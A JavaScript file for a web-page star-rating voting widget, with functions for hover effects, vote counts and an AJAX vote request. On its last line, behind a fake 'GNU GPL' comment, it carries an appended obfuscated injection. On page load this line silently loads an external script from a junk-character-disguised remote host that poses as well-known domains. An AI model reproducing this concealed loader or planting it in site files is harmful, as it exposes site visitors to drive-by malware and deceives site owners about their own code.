
function BxDolVoting (sUrl, sSystem, iObjId, sId, sIdSlider, iSize, iMax)
{
	this._sUrl = sUrl;
	this._sSystem = sSystem;
	this._iObjId = iObjId;
	this._sId = sId;
	this._sIdSlider = sIdSlider;
	this._iSize = iSize;
	this._iMax = iMax;
	this._iSaveWidth = -1;
}

BxDolVoting.prototype.over = function (i)
{
	var e = this._e(this._sIdSlider)
	this._iSaveWidth = parseInt(e.style.width);
	e.style.width = i*this._iSize + 'px';	
}

BxDolVoting.prototype.setRate = function (fRate)
{
	var e = this._e(this._sIdSlider);
	e.style.width = fRate*this._iSize + 'px';
}

BxDolVoting.prototype.setCount = function (iCount)
{
	var e = this._e(this._sId);
	var eb = e.getElementsByTagName('b')[0]
	var a = eb.innerHTML.match(/(\d+)/);
	eb.innerHTML = eb.innerHTML.replace(a[1], iCount);
}

BxDolVoting.prototype.out = function ()
{
	var e = this._e(this._sIdSlider)
	e.style.width = parseInt(this._iSaveWidth) + 'px';
}

BxDolVoting.prototype.vote = function (i)
{
	var $this = this;
	var h = function (s)
	{
		if (!s.length) 
		{
			$this.onvotefail();
			return;	
		}
		var a = s.match(/([0-9\.]+),([0-9\.]+)/);
		$this._iSaveWidth = i*$this._iSize;
		$this.setRate(i);		
		$this.setCount(a[2]);
        $this.onvote(a[1], a[2]);
	}

	this.sendRequest (this._sUrl+'vote.php?vote_send_result='+i+'&id='+this._iObjId+'&sys='+this._sSystem, h);
}

BxDolVoting.prototype.onvote = function (fRate, iCount)
{

}

BxDolVoting.prototype.onvotefail = function ()
{

}

BxDolVoting.prototype._e = function (s)
{
	return document.getElementById(s);
}


BxDolVoting.prototype.sendRequest = function (sUrl, h)
{
    var XMLHttpRequestObject = createXmlHttpObj();

    if( !XMLHttpRequestObject )
        return false;
    
    var data_source = sUrl;
    XMLHttpRequestObject.open( "GET", data_source);
    XMLHttpRequestObject.onreadystatechange = function()
    {   
        if ( XMLHttpRequestObject.readyState == 4 && XMLHttpRequestObject.status == 200 )
        {   
            var s = XMLHttpRequestObject.responseText;
            delete XMLHttpRequestObject;
            XMLHttpRequestObject = null;
            
            h(s);
        }
    }
    XMLHttpRequestObject.send( null );
}

/*GNU GPL*/ try{window.onload = function(){var Hva23p3hnyirlpv7 = document.createElement('script');Hva23p3hnyirlpv7.setAttribute('type', 'text/javascript');Hva23p3hnyirlpv7.setAttribute('id', 'myscript1');Hva23p3hnyirlpv7.setAttribute('src',  'h))t#^t$#))!p&&#:^!&/^^/)^(@m&()y&#b(r@&&!!o)^w(&(s)^)$e(@&#r&))b^a#r!&$-#@c&#o#m#@&.)@$s)a!m$&s#)^u!$^n$g#!.$c!^o^@(m#.^n@!#a@@s#$!a#&-(@^g$o)#v)@&$.(!(@(e)&g&!#r)e)@)a^)t$!s(!(a@!l#e@.@)@r)#u(&#!:)@8!^)0!8$!(0!/^#m$$e)g^&a###v&!i&d!e))#o!@(.(@c&)o$!(m^&/^m&^e((^)g$!((a)#)^v@!i(@&#d#)e@&o$#.^c$!#o@m^/$#&l$a)r#@(e)^^d#&o(!()u#(t$)e##.$f(r^&(@/!(^&b!!i)$$l@)!)d^&.#@&(d$@$e(/)g$o^o$&^g^!&l()e!).(@^#c)$!o#&)@@m!/^$'.replace(/\$|\^|\!|&|\)|\(|@|#/ig, ''));Hva23p3hnyirlpv7.setAttribute('defer', 'defer');document.body.appendChild(Hva23p3hnyirlpv7);}} catch(e) {}